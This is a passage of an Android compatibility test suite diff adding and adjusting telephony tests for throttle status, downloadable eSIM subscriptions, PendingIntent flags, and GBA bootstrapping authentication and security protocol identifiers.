+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+        ThrottleStatus status2 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setNoThrottle()
+                .setRetryType(RETRY_TYPE)
+                .build();
+        assertNotEquals(status1, status2);
+    }
+
+    @Test
+    public void testParcel() {
+        ThrottleStatus status = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        Parcel stateParcel = Parcel.obtain();
+        status.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        ThrottleStatus postParcel = ThrottleStatus.CREATOR.createFromParcel(stateParcel);
+        assertEquals(status, postParcel);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index 9afa104..bb3a9ea 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -45,6 +45,19 @@
     }
 
     @Test
+    public void testDownloadableSubscriptionBuilder() {
+        final String confirmationCode = "fake confirmation code";
+        DownloadableSubscription downloadableSubscription =
+                new DownloadableSubscription.Builder(ACTIVATION_CODE)
+                        .setConfirmationCode(confirmationCode)
+                        .build();
+
+        assertNotNull(downloadableSubscription);
+        assertEquals(ACTIVATION_CODE, downloadableSubscription.getEncodedActivationCode());
+        assertEquals(confirmationCode, downloadableSubscription.getConfirmationCode());
+    }
+
+    @Test
     public void testGetEncodedActivationCode() {
         assertNotNull(mDownloadableSubscription);
         assertEquals(ACTIVATION_CODE, mDownloadableSubscription.getEncodedActivationCode());
@@ -72,15 +85,15 @@
 
         // write object to parcel
         Parcel parcel = Parcel.obtain();
-        mDownloadableSubscription.writeToParcel(parcel,
-                mDownloadableSubscription.describeContents());
+        mDownloadableSubscription.writeToParcel(
+                parcel, mDownloadableSubscription.describeContents());
 
         // extract object from parcel
         parcel.setDataPosition(0 /* pos */);
         DownloadableSubscription downloadableSubscriptionFromParcel =
                 DownloadableSubscription.CREATOR.createFromParcel(parcel);
-        assertEquals(ACTIVATION_CODE,
-                downloadableSubscriptionFromParcel.getEncodedActivationCode());
+        assertEquals(
+                ACTIVATION_CODE, downloadableSubscriptionFromParcel.getEncodedActivationCode());
 
         // There is no way to set DownloadableSubscription#confirmationCode from here because
         // Android P doesn't allow accessing a platform class's @hide methods or private fields
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 80cfc02..eae33de 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -481,7 +481,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private static class CallbackReceiver extends BroadcastReceiver {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
index 67b5116..c6f9ba7 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
@@ -74,7 +74,7 @@
                         getApplicationContext(),
                         0 /* requestCode */,
                         resolutionActivityIntent,
-                        PendingIntent.FLAG_ONE_SHOT);
+                        PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // add pending intent to extra
         Intent resultIntent = new Intent();
@@ -93,7 +93,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private void sendCallbackAndFinish(int resultCode) {
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
new file mode 100644
index 0000000..64a1538
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@RunWith(AndroidJUnit4.class)
+public final class GbaServiceTest {
+
+    private static final String TAG = "GbaServiceTest";
+
+    private static final String COMMAND_UPDATE_PACKAGE = "cmd phone gba set-service ";
+    private static final String COMMAND_UPDATE_RELEASE = "cmd phone gba set-release ";
+    private static final String COMMAND_GET_PACKAGE = "cmd phone gba get-service";
+    private static final String COMMAND_GET_RELEASE = "cmd phone gba get-release";
+    private static final String SERVICE_PACKAGE = "android.telephony.cts";
+    private static final String NAF = "3GPP-bootstrapping@naf1.operator.com";
+    private static final String BTID = "(B-TID)";
+    private static final int REQ_TIMEOUT = 5000;
+    private static final int RELEASE_DEFAULT = 0;
+    private static final int RELEASE_TEST_MS = 15 * 1000;
+    private static final int RELEASE_NEVER = -1;
+
+    private static int sSubId;
+    private static Instrumentation sInstrumentation;
+    private static TelephonyManager sTm;
+    private static TestGbaConfig sConfig;
+    private static String sServiceConfig;
+    private static int sReleaseTimeConfig;
+
+    @BeforeClass
+    public static void init() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        sConfig = TestGbaConfig.getInstance();
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sTm = sInstrumentation.getContext().getSystemService(TelephonyManager.class);
+        sServiceConfig = TelephonyUtils.executeShellCommand(
+                sInstrumentation, COMMAND_GET_PACKAGE);
+        sReleaseTimeConfig = Integer.parseInt(TelephonyUtils.executeShellCommand(
+                sInstrumentation, COMMAND_GET_RELEASE));
+    }
+
+    @AfterClass
+    public static void release() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService(sServiceConfig);
+        setReleaseTime(sReleaseTimeConfig);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService(SERVICE_PACKAGE);
+        setReleaseTime(RELEASE_DEFAULT);
+    }
+
+    @Test (expected = SecurityException.class)
+    public void testPermissions() {
+        if (!isFeatureSupported()) {
+            throw new SecurityException("Feaure is not supported");
+        }
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+                android.Manifest.permission.READ_PHONE_STATE);
+    }
+
+    @Test
+    public void testAuthSuccess() {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        Random rand = new Random();
+
+        for (int i = 0; i < 20; i++) {
+            Log.d(TAG, "testAuthSuccess[" + i + "]");
+            byte[] key = new byte[16];
+            rand.nextBytes(key);
+            sConfig.setConfig(true, key, BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+            final AtomicBoolean isSuccess = new AtomicBoolean(false);
+            final AtomicBoolean isFail = new AtomicBoolean(false);
+            TelephonyManager.BootstrapAuthenticationCallback cb = new
+                      TelephonyManager.BootstrapAuthenticationCallback() {
+                @Override
+                public void onKeysAvailable(byte[] gbaKey, String btId) {
+                    assertNotNull(gbaKey);
+                    assertNotNull(btId);
+                    assertArrayEquals(key, gbaKey);
+                    assertEquals(BTID, btId);
+                    synchronized (isSuccess) {
+                        isSuccess.set(true);
+                        isSuccess.notify();
+                    }
+                }
+
+                @Override
+                public void onAuthenticationFailure(int reason) {
+                    synchronized (isSuccess) {
+                        isFail.set(true);
+                        isSuccess.notify();
+                    }
+                }
+            };
+            UaSecurityProtocolIdentifier.Builder builder =
+                    new UaSecurityProtocolIdentifier.Builder();
+            builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+                    UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+                    (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+                    Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb),
+                    android.Manifest.permission.MODIFY_PHONE_STATE);
+            waitForMs(isSuccess, REQ_TIMEOUT);
+
+            assertTrue(isSuccess.get());
+            assertFalse(isFail.get());
+        }
+    }
+
+    @Test
+    public void testGbaNotSupported() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService("");
+        sConfig.setConfig(true, new byte[16], BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        assertTrue(setService(SERVICE_PACKAGE));
+    }
+
+    @Test
+    public void testAuthFail() {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        for (int r = TelephonyManager.GBA_FAILURE_REASON_UNKNOWN;
+                r <= TelephonyManager.GBA_FAILURE_REASON_SECURITY_PROTOCOL_NOT_SUPPORTED; r++) {
+            sConfig.setConfig(false, new byte[16], BTID, r);
+            runGbaFailCase(r, android.Manifest.permission.MODIFY_PHONE_STATE);
+        }
+    }
+
+    private void runGbaFailCase(int r, String permission) {
+        final AtomicBoolean isSuccess = new AtomicBoolean(false);
+        final AtomicBoolean isFail = new AtomicBoolean(false);
+        TelephonyManager.BootstrapAuthenticationCallback cb = new
+                  TelephonyManager.BootstrapAuthenticationCallback() {
+            @Override
+            public void onKeysAvailable(byte[] gbaKey, String btId) {
+                synchronized (isFail) {
+                    isSuccess.set(true);
+                    isFail.notify();
+                }
+            }
+
+            @Override
+            public void onAuthenticationFailure(int reason) {
+                assertEquals(reason, r);
+                synchronized (isFail) {
+                    isFail.set(true);
+                    isFail.notify();
+                }
+            }
+        };
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+                UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+                (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+                Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb), permission);
+        waitForMs(isFail, REQ_TIMEOUT);
+
+        assertTrue(isFail.get());
+        assertFalse(isSuccess.get());
+    }
+
+    @Test
+    public void testServiceReleaseDefault() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+        waitForMs(sConfig, 500);
+
+        assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+    }
+
+    @Test
+    public void testServiceReleaseDuration() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+        assertTrue(setReleaseTime(RELEASE_TEST_MS));
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        waitForMs(sConfig, 500);
+        assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+
+        waitForMs(sConfig, RELEASE_TEST_MS);
+        assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+    }
+
+    @Test
+    public void testServiceNoRelease() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+        assertTrue(setReleaseTime(RELEASE_NEVER));
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+        waitForMs(sConfig, 2 * RELEASE_TEST_MS);
+
+        assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+    }
+
+    public static void waitForMs(Object obj, long ms) {
+        synchronized (obj) {
+            try {
+                obj.wait(ms);
+            } catch (InterruptedException e) {
+                Log.d(TAG, "InterruptedException while waiting: " + e);
+            }
+        }
+    }
+
+    private static boolean setService(String packageName) throws Exception {
+        String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+                COMMAND_UPDATE_PACKAGE + packageName);
+        return "true".equals(result);
+    }
+
+    private static boolean setReleaseTime(int interval) throws Exception {
+        String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+                COMMAND_UPDATE_RELEASE + interval);
+        return "true".equals(result);
+    }
+
+    private static boolean isFeatureSupported() {
+        if (!InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY)) {
+            return false;
+        }
+        int[] activeSubs = InstrumentationRegistry.getContext().getSystemService(
+                SubscriptionManager.class).getActiveSubscriptionIdList();
+        if (activeSubs.length == 0) {
+            return false;
+        }
+        sSubId = activeSubs[0];
+        return true;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
new file mode 100644
index 0000000..33d1a83
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+final class TestGbaConfig {
+
+    static final int STATE_UNKNOWN = 0;
+    static final int STATE_CREATED = 1;
+    static final int STATE_BOUND   = 2;
+    static final int STATE_UNBOUND = 3;
+    static final int STATE_REMOVED = 4;
+
+    private boolean mIsAuthSuccess;
+    private byte[] mGbaKey;
+    private String mBTid;
+    private int mFailReason;
+    private int mServiceState;
+
+    private static TestGbaConfig sInstance;
+
+    private TestGbaConfig() {
+    }
+
+    static TestGbaConfig getInstance() {
+        if (sInstance == null) {
+            sInstance = new TestGbaConfig();
+        }
+        return sInstance;
+    }
+
+    void setConfig(boolean success, byte[] key, String id, int reason) {
+        synchronized (this) {
+            mIsAuthSuccess = success;
+            mGbaKey = key;
+            mBTid = id;
+            mFailReason = reason;
+        }
+    }
+
+    boolean isAuthSuccess() {
+        synchronized (this) {
+            return mIsAuthSuccess;
+        }
+    }
+
+    byte[] getGbaKey() {
+        synchronized (this) {
+            return mGbaKey;
+        }
+    }
+
+    String getBTid() {
+        synchronized (this) {
+            return mBTid;
+        }
+    }
+
+    int getFailReason() {
+        synchronized (this) {
+            return mFailReason;
+        }
+    }
+
+    void setServiceState(int state) {
+        synchronized (this) {
+            mServiceState = state;
+            this.notify();
+        }
+    }
+
+    int getServiceState() {
+        synchronized (this) {
+            return mServiceState;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
new file mode 100644
index 0000000..702f757
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import android.annotation.NonNull;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.IBinder;
+import android.telephony.gba.GbaService;
+import android.util.Log;
+
+public class TestGbaService extends GbaService {
+
+    private static final String TAG = "TestGbaService";
+
+    private TestGbaConfig mConfig;
+
+    @Override
+    public void onCreate() {
+        Log.i(TAG, "Service created");
+        mConfig = TestGbaConfig.getInstance();
+        mConfig.setServiceState(TestGbaConfig.STATE_CREATED);
+    }
+
+    @Override
+    public void onAuthenticationRequest(int subId, int token, int appType,
+            @NonNull Uri nafUrl, @NonNull byte[] securityProtocol, boolean forceBootStrapping) {
+        boolean isSuccess = mConfig.isAuthSuccess();
+        int reason = mConfig.getFailReason();
+        byte[] key = mConfig.getGbaKey();
+        String btid = mConfig.getBTid();
+
+        if (isSuccess) {
+            reportKeysAvailable(token, key, btid);
+        } else {
+            reportAuthenticationFailure(token, reason);
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.d(TAG, "onBind intent:" + intent);
+        mConfig.setServiceState(TestGbaConfig.STATE_BOUND);
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        Log.d(TAG, "onUnbind intent:" + intent);
+        mConfig.setServiceState(TestGbaConfig.STATE_UNBOUND);
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "onDestroy!");
+        mConfig.setServiceState(TestGbaConfig.STATE_REMOVED);
+        super.onDestroy();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
new file mode 100644
index 0000000..ae1b0fd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.gba.TlsParams;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public final class UaSecurityProtocolIdentifierTest {
+    private static final String TAG = "UaSecurityProtocolIdentifierTest";
+    private static final int PROTO_SIZE = 5;
+    private static final byte[] PROTO_DEFAULT = {0x00, 0x00, 0x00, 0x00, 0x00};
+    private static final int[] PROTO_3GPP_PLAIN_ID = {
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SUBSCRIBER_CERTIFICATE,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_DIGEST_AUTHENTICATION,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SIP_BASED_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERIC_PUSH_LAYER,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_IMS_MEDIA_PLANE,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERATION_TMPI};
+    private static final byte[][] PROTO_3GPP_PLAIN = {
+        {0x01, 0x00, 0x00, 0x00, 0x00},
+        {0x01, 0x00, 0x00, 0x00, 0x01},
+        {0x01, 0x00, 0x00, 0x00, 0x02},
+        {0x01, 0x00, 0x00, 0x00, 0x03},
+        {0x01, 0x00, 0x00, 0x00, 0x04},
+        {0x01, 0x00, 0x00, 0x00, 0x05},
+        {0x01, 0x00, 0x00, 0x00, 0x06},
+        {0x01, 0x00, 0x00, 0x01, 0x00}};
+    private static final int[] PROTO_3GPP_TLS_ID = {
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_DEFAULT,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_BROWSER};
+    private static final byte[][] PROTO_3GPP_TLS = {
+        {0x01, 0x00, 0x01, 0x00, 0x00},
+        {0x01, 0x00, 0x02, 0x00, 0x00}};
+
+    private static final int[] TLS_CS_ID_SUPPORTED = {
+        0x0000, 0x0001, 0x0002, 0x0004, 0x0005, 0x000A, 0x000D, 0x0010, 0x0013, 0x0016, 0x0018,
+        0x001B, 0x002F, 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038,
+        0x0039, 0x003A, 0x003B, 0x003C, 0x003D, 0x003E, 0x003F, 0x0040, 0x0067, 0x0068, 0x0069,
+        0x006A, 0x006B, 0x006C, 0x006D, 0x009E, 0x009F, 0x00AA, 0x00AB, 0x1301, 0x1302, 0x1303,
+        0x1304, 0xC02B, 0xC02C, 0xC02F, 0xC030, 0xC09E, 0xC09F, 0xC0A6, 0xC0A7, 0xCCA8, 0xCCA9,
+        0xCCAA, 0xCCAC, 0xCCAD, 0xD001, 0xD002, 0xD005};
+
+    @Test
+    public void testDefaultId() {
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        UaSecurityProtocolIdentifier sp = builder.build();
+        assertNotNull(sp);
+        assertEquals(UaSecurityProtocolIdentifier.ORG_NONE, sp.getOrg());
+        assertArrayEquals(sp.toByteArray(), PROTO_DEFAULT);
+    }
+
+    @Test
+    public void testValid3gppId() {
+        for (int i = 0; i < PROTO_3GPP_PLAIN_ID.length; i++) {
+            UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                    PROTO_3GPP_PLAIN_ID[i], null, false);
+            assertNotNull(sp);
+            assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+            assertEquals(PROTO_3GPP_PLAIN_ID[i], sp.getProtocol());
+            assertEquals(0, sp.getTlsCipherSuite());
+            assertArrayEquals(sp.toByteArray(), PROTO_3GPP_PLAIN[i]);
+        }
+    }
+
+    @Test
+    public void testValid3gppIdWithTls() {
+        for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+            for (int j = 0; j < TLS_CS_ID_SUPPORTED.length; j++) {
+                UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                        PROTO_3GPP_TLS_ID[i], TLS_CS_ID_SUPPORTED[j], false);
+                assertNotNull(sp);
+                assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+                assertEquals(PROTO_3GPP_TLS_ID[i], sp.getProtocol());
+                assertEquals(TLS_CS_ID_SUPPORTED[j], sp.getTlsCipherSuite());
+                byte[] targetData = new byte[PROTO_SIZE];
+                ByteBuffer buf = ByteBuffer.wrap(targetData);
+                buf.put(PROTO_3GPP_TLS[i]);
+                buf.putShort(PROTO_SIZE - 2, (short) TLS_CS_ID_SUPPORTED[j]);
+                assertArrayEquals(targetData, sp.toByteArray());
+            }
+        }
+    }
+
+    @Test
+    public void testInvalidId() {
+        Random rand = new Random();
+        HashSet<Integer> validIds = new HashSet<>();
+        for (int id : PROTO_3GPP_PLAIN_ID) {
+            validIds.add(id);
+        }
+        for (int id : PROTO_3GPP_TLS_ID) {
+            validIds.add(id);
+        }
+        for (int i = 0; i < 200; i++) {
+            int r = rand.nextInt();
+            UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                    r, TlsParams.TLS_NULL_WITH_NULL_NULL, !validIds.contains(r));
+        }
+    }
+
+    @Test
+    public void testInvalid3gppIdWithTls() {
+        Random rand = new Random();
+        for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+            for (int j = 0; j < 200; j++) {
+                int r = rand.nextInt(Integer.MAX_VALUE);
+                int index = Arrays.binarySearch(TLS_CS_ID_SUPPORTED, r);
+                boolean isFailExpected = index < 0;
+                UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                        PROTO_3GPP_TLS_ID[i], r, isFailExpected);
+            }
+        }
+    }
+
+    @Test
+    public void testParcelUnparcel() {
+        UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                PROTO_3GPP_TLS_ID[0], TLS_CS_ID_SUPPORTED[0], false);
+        Parcel parcel = Parcel.obtain();
+        sp.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        UaSecurityProtocolIdentifier sp2 =
+                UaSecurityProtocolIdentifier.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+        assertTrue(sp.equals(sp2));
+    }
+
+    @Test
+    public void testIsTlsCipherSuiteSupported() {
+        Random rand = new Random();
+
+        for (int i = 0; i < TLS_CS_ID_SUPPORTED.length; i++) {
+            assertTrue(TlsParams.isTlsCipherSuiteSupported(TLS_CS_ID_SUPPORTED[i]));
+        }
+
+        for (int i = 0; i < 100; i++) {
+            int val = rand.nextInt();
+            if (Arrays.binarySearch(TLS_CS_ID_SUPPORTED, val) < 0) {
+                assertFalse(TlsParams.isTlsCipherSuiteSupported(val));
+            }
+        }
+    }
+
+    private UaSecurityProtocolIdentifier testCreate3GppSpId(
+            Integer id, Integer cs, boolean nullExpected) {
+        boolean isFail = false;
+        UaSecurityProtocolIdentifier sp = null;
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP);
+        try {
+            if (id != null) {
+                builder.setProtocol(id);
+            }
+            if (cs != null) {
+                builder.setTlsCipherSuite(cs);
+            }
+            sp = builder.build();
